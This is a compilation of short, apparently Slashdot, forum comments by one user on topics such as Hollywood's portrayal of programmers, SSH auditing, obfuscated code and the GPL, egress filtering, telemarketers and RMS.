Hollywood doesn't portray anything or anyone accurately, not just programmers, but secret agents, scientists (the most dangerous profession, according to the movies), police officers, psychiatrists, airline pilots, women, and vegetarians as well... even "normal" people are somehow made extra-normal on the screen.
If you look to films and television for career guidance, chances are you wouldn't make a good programmer anyway.
I've actually only now found out that he went to the same school I did... I went there for seven years, and they never told me that. They only tell you how proud they are about how many stupid politicians and artists were pupils there.
A. Consider purchasing SSH from a commercial source because the AMOUNT of problems with it is less
SSH is complex software; it's bound to always have bugs. OpenSSH just gets audited more. At least this way, *everyone* knows about them, not just the black hats.
Obfuscated code isn't source code anymore

Abusing the GPL?

Surely obfuscated code is equivalent to object code: it's only useful to the computer, not to programmers. (In ye olde days, obuscated code was actually used to distribute code that couldn't easily be reverse engineered, but still could be easily used on different platforms.)
The GPL requires you to make the source code available. Surely distributing obfuscated code is not good enough. You should definitely notify the FSF - if they know, then this won't go unpunished.
The NY times, like other similar sites, has a user called 'cipherpunks' with password the same. (Sometimes someone spelled 'cypherpunks' instead, of course.) I suggest everyone uphold this fine tradition (user 'slashdot', maybe?)
Sadly, egress filtering does not solve the DoS problem. The problem is that the machines are involved belong to innocent (well, relatively innocent) parties, not that their identity cannot be established.
Which is not to say that it's a bad idea, of course, and there are no real technical reasons not to implement it, apart from performance considerations.
Nope... it really is shocking to see someone who is further down the slippery slope than one is oneself. It's not about the money, it's the principle of the thing.
I *hate* telemarketeers, and I hope I'll never have to accept them as a normal part of life.
If there is a Marlboro homepage, then I can't find it either. Try typing 'marlboro' into altavista and see why I prefer Google; the first page (okay, of a small-ish window) is basically ads for cigarette companies.

Plus you know that when it's finished, it's going to be good... how could it not be?
Yep... lots. SPARC is an open standard. Fujitsu and TI make (made?) them, amongst others.
"Never judge a book by its Amazon review"
You're objecting to a case mod on the grounds of it being useless? Isn't that the whole point?
Pointless mods lose points in my book
Thereby ending up with negative points?

Here's an idea: first post tax. Could solve more than one problem at once...
...when I say that most of us are not often in danger of getting too much sleep ;-)

Ehm... are we reading the same article?
Yes, why can't RMS be more like those polite, well-mannered, superb debaters at slashdot?
Sheesh...
Interesting... I feel exactly the same way about personal firearms.

Excuse me, but how does my use of the word "bloody" imply that I live in a shitty country that has never been bombed by America?
Ever wonder how Americans get their repuation for being so cosmopolitan, so mature, and above all such excellent debaters?
Bloody hell... you *pay* to get "only" 5 telemarketing calls in a *month*?
And Americans wonder why the world thinks they're strange?

Uhm... could this be because they *use* Google?

We've had something like 80 hits in 3 or 4 days on that page. Mind you, some NT admins can't type the URL in correctly...
Far be it from me to impugn the accuracy of Slashdot articles, but AFAIK "AFK" has been in there for at least three years...
Funny (or maybe not), but the tone of this article reminded me a lot of the diary of an AOL user.
The thought occurs that RMS probably doesn't want to recruit people on slashdot...
Didn't you used to write text adventures?
